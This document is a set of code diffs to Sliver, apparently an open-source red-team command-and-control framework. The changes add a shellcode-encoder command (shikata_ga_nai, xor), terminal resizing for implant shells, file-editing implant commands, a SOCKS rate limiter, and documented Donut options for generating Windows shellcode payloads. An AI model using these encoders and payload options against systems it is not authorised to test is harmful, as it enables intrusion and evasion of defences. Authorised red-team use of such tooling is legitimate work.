multiplier = 1024 * 1024 * 1024 * 1024
default:
return 0, fmt.Errorf("unknown size unit %q", unitStr)
}
numVal, err := strconv.ParseFloat(numStr, 64)
if err != nil {
return 0, fmt.Errorf("invalid size %q", input)
}
if numVal <= 0 {
return 0, fmt.Errorf("size must be greater than zero")
}
size := int64(numVal * float64(multiplier))
if size <= 0 {
return 0, fmt.Errorf("size is out of range")
}
return size, nil
}
+6 -2
View File
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Bool("unix", false, "interpret timestamps as Unix seconds")
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
})
carapace.Gen(chtimesCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to file to change access timestamps"),
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
)
getprivsCmd := &cobra.Command{
+7 -1
View File
@@ -46,6 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
server.SilenceErrors = true
server.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
aka.ServerCommands,
)
// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Payloads
bind(consts.PayloadsHelpGroup,
sgn.Commands,
shellcodeencoders.Commands,
generate.Commands,
builders.Commands,
)
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package shell
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package shell
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+21
View File
@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: shellPath,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
@@ -0,0 +1,55 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the shellcode-encoders command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
shellcodeEncodersCmd := &cobra.Command{
Use: consts.ShellcodeEncodersStr,
Short: "List supported shellcode encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellcodeEncodersEncodeCmd := &cobra.Command{
Use: "encode <shellcode file>...",
Short: "Encode shellcode using server encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersEncodeCmd(cmd, con, args)
},
}
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
f.IntP("iterations", "i", 1, "number of encoding iterations")
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
}
+166
View File
@@ -0,0 +1,166 @@
package shellcodeencoders
import (
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
encoderFlag, _ := cmd.Flags().GetString("encoder")
if strings.TrimSpace(encoderFlag) == "" {
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
return
}
encoderName := normalizeShellcodeEncoderName(encoderFlag)
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
if !ok {
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
return
}
archFlag, _ := cmd.Flags().GetString("arch")
arch := normalizeShellcodeArch(archFlag)
if arch == "" {
arch = "amd64"
}
iterations, _ := cmd.Flags().GetInt("iterations")
if iterations <= 0 {
iterations = 1
}
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
output, _ := cmd.Flags().GetString("output")
outputInfo, err := outputInfoForArgs(output, len(args))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
hadError := false
for _, path := range args {
data, err := os.ReadFile(path)
if err != nil {
con.PrintErrorf("Failed to read %s: %s\n", path, err)
hadError = true
continue
}
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
Encoder: encoderEnum,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: data,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
hadError = true
continue
}
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
hadError = true
continue
}
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", path, err)
hadError = true
continue
}
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
hadError = true
continue
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
}
if hadError {
con.PrintWarnf("One or more files failed to encode\n")
}
}
func decodeHexBytes(label string, raw string) ([]byte, error) {
trimmed := strings.TrimSpace(raw)
trimmed = strings.TrimPrefix(trimmed, "0x")
trimmed = strings.TrimPrefix(trimmed, "0X")
trimmed = strings.ReplaceAll(trimmed, " ", "")
if trimmed == "" {
return nil, nil
}
data, err := hex.DecodeString(trimmed)
if err != nil {
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
}
return data, nil
}
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
if output == "" {
return nil, nil
}
info, err := os.Stat(output)
if err != nil {
if os.IsNotExist(err) {
if argCount > 1 {
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
}
info, err = os.Stat(output)
if err != nil {
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
}
return info, nil
}
return nil, nil
}
return nil, err
}
if argCount > 1 && !info.IsDir() {
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
}
return info, nil
}
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
base := filepath.Base(inputPath)
if output == "" {
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
}
if multiple {
if outputInfo == nil || !outputInfo.IsDir() {
return "", fmt.Errorf("output must be a directory when encoding multiple files")
}
return filepath.Join(output, base+suffix), nil
}
if outputInfo != nil && outputInfo.IsDir() {
return filepath.Join(output, base+suffix), nil
}
return output, nil
}
@@ -0,0 +1,101 @@
package shellcodeencoders
import (
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
)
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
normalized := normalizeShellcodeEncoderName(name)
encoder, ok := shellcodeEncoderNameToEnum[normalized]
return encoder, ok
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
nameArchs := map[string][]string{}
for arch, archMap := range encoderMap.GetEncoders() {
if archMap == nil {
continue
}
for name := range archMap.GetEncoders() {
nameArchs[name] = append(nameArchs[name], arch)
}
}
names := make([]string, 0, len(nameArchs))
for name := range nameArchs {
names = append(names, name)
}
sort.Strings(names)
results := []string{}
for _, name := range names {
arches := nameArchs[name]
sort.Strings(arches)
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
results = append(results, name, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
})
}
// ShellcodeEncoderArchCompleter returns available architectures.
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
return carapace.ActionValues(arches...).Tag("shellcode architectures")
})
}
@@ -0,0 +1,65 @@
package shellcodeencoders
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
DisplayShellcodeEncoders(encoderMap, con)
}
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
con.PrintInfof("No shellcode encoders available\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
tw.SortBy([]table.SortBy{
{Name: "Arch", Mode: table.Asc},
{Name: "Encoder", Mode: table.Asc},
})
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
continue
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
desc := archMap.GetDescriptions()[name]
tw.AppendRow(table.Row{arch, name, desc})
}
}
con.Println(tw.Render())
}
+9 -1
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/edit"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/wasm"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/command/hexedit"
client "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
sliver.SilenceErrors = true
sliver.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// use.Commands,
tasks.Commands,
pivots.Commands,
aka.ImplantCommands,
aka.ImplantCommands,
)
// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// [ Filesystem ]
bind(consts.FilesystemHelpGroup,
edit.Commands,
hexedit.Commands,
filesystem.Commands,
)
+4 -1
View File
@@ -220,6 +220,8 @@ const (
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
EditStr = "edit"
HexEditStr = "hex-edit"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
@@ -297,7 +299,8 @@ const (
GetPrivsStr = "getprivs"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
ShikataGaNai = "shikata-ga-nai"
ShellcodeEncodersStr = "shellcode-encoders"
Cursed = "cursed"
CursedChrome = "chrome"
+8
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/leaky"
"golang.org/x/time/rate"
)
var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
// Client Rate Limiter: 10 operations per second, burst of 1
limiter := rate.NewLimiter(rate.Limit(10), 1)
SocksConnPool.Store(frame.TunnelID, conn)
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
return
}
if n > 0 {
if err := limiter.Wait(context.Background()); err != nil {
log.Printf("[socks] rate limiter error: %s", err)
return
}
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
+17
View File
@@ -33,6 +33,23 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
You can tune Donut options for Windows shellcode profiles:
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--donut-compress`: enable/disable aplib compression (boolean)
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
- `--donut-headers`: 1=overwrite, 2=keep
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--donut-oep`: override original entry point (uint32, 0=default)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
```
We can now create a staging listener and link it to the profile:
```
+2 -2
View File
@@ -146,8 +146,8 @@ else
exit 1
fi
# server / sgn
if go test -tags=server,$TAGS ./server/sgn ; then
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
+6 -5
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.25.5
go 1.25.6
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -12,11 +12,11 @@ require (
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
@@ -46,6 +46,7 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -219,9 +220,9 @@ require (
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1 // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -300,7 +301,7 @@ require (
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/time v0.14.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.40.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
+12 -3
View File
@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -422,6 +425,8 @@ github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/C
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
